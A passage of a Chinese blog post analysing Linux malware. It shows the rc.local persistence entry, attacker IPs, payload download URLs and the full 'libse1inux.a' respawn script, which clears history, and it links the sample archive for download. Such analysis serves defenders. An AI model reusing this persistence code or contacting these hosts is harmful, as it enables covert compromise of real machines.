\u7b2c\u4e00\u767e\u4e00\u662f\u4e00\u5230\u672b\u5c3e\u884c\uff0c\u5982\u679c\u5728rc.local\u91cc\u6ca1\u6709I_AM_HIDDEN=a nohup \/lib\/libse1inux.a 2>\/dev\/null &\u7684\u8bdd\uff0c\u5728rc.local\u91ccexit\u5b57\u6bb5\u6570\u91cf\u82e5\u662f\u4e0d\u7b49\u4e8e1\u7684\u8bdd\u6267\u884csed -i ‘$s\/^exit.*$\/\/g’ \/etc\/rc.local\u3002\u82e5\u662f\u7b49\u4e8e1\u7684\u8bddrc.local\u8ffd\u52a0I_AM_HIDDEN=a nohup \/lib\/libse1inux.a 2>\/dev\/null\u3002\u7136\u540e\u73af\u5883\u53d8\u91cf\u53d6\u6d88I_AM_HIDDEN\u3002<\/p>\n\n\n\n \u4ece\u7b80\u5355\u7684\u5206\u6790\u4e86\u540e\u53d1\u73b0\u7528\u5230\u7684ip\u6700\u5c11\u4e09\u4e2a\uff0c<\/p>\n\n\n\n 47.56.15.121:8080 61061 61060<\/p>\n\n\n\n 103.206.122.245:65530<\/p>\n\n\n\n 103.206.123.13:8787<\/p>\n\n\n\n \u7528\u5230\u7684\u6587\u4ef6<\/p>\n\n\n\n http;\/\/47.56.15.121:808O\/Upgrade.sh<\/p>\n\n\n\n http;\/\/47.56.15.121:808O\/system.tar.gz<\/p>\n\n\n\n http;\/\/47.56.15.121:808O\/configUpdate.tar.gz<\/p>\n\n\n\n http;\/\/47.56.15.121:808O\/configUpdate-32.tar.gz<\/p>\n\n\n\n \u6700\u7ec8\u89e3\u538b\u51fa\u6765\u7684\u6267\u884c\u6587\u4ef6\u6ca1\u65f6\u95f4\u53bb\u5206\u6790\u3002<\/p>\n\n\n\n libse1inux<\/p>\n\n\n\n libse1inux.a<\/p>\n\n\n\n libse1inux.so<\/p>\n\n\n\n libse1inux.a\u4ee3\u7801\u5982\u4e0b\uff1a<\/strong><\/p>\n\n\n\n 1 #!\/bin\/sh<\/p>\n\n\n\n 2<\/p>\n\n\n\n 3 history -c<\/p>\n\n\n\n 4<\/p>\n\n\n\n 5 while true<\/p>\n\n\n\n 6 do<\/p>\n\n\n\n 7 min=`date +%M`<\/p>\n\n\n\n 8 if [ ${min} -eq 30 -o ${min} -eq 0 ];then<\/p>\n\n\n\n 9 res=`I_AM_HIDDEN=a echo $(ps -ef | grep “\/lib\/libse1inux” | grep -v grep | awk ‘{print $(2)}’)`<\/p>\n\n\n\n 10 if [ -z “${res}” ]<\/p>\n\n\n\n 11 then<\/p>\n\n\n\n 12 I_AM_HIDDEN=a \/lib\/libse1inux I_AM_HIDDEN<\/p>\n\n\n\n 13 fi<\/p>\n\n\n\n 14 while true<\/p>\n\n\n\n 15 do<\/p>\n\n\n\n 16 min=`date +%M`<\/p>\n\n\n\n 17 if [ ${min} -ne 30 -a ${min} -ne 0 ];then<\/p>\n\n\n\n 18 break<\/p>\n\n\n\n 19 fi<\/p>\n\n\n\n 20 I_AM_HIDDEN=a sleep 30<\/p>\n\n\n\n 21 done<\/p>\n\n\n\n 22 fi<\/p>\n\n\n\n 23 I_AM_HIDDEN=a sleep 20<\/p>\n\n\n\n 24done<\/p>\n\n\n\n <\/p>\n\n\n\n \u4e0b\u8f7d\u94fe\u63a5\u5931\u6548\u8bf7\u7528\u672c\u7ad9\u7684\u4e0b\u8f7d\u5730\u5740\uff1a<\/strong><\/p>\n\n\n\n http:\/\/feel.name\/bak\/I_AM_HIDDEN.rar<\/p>\n","protected":false},"excerpt":{"rendered":" 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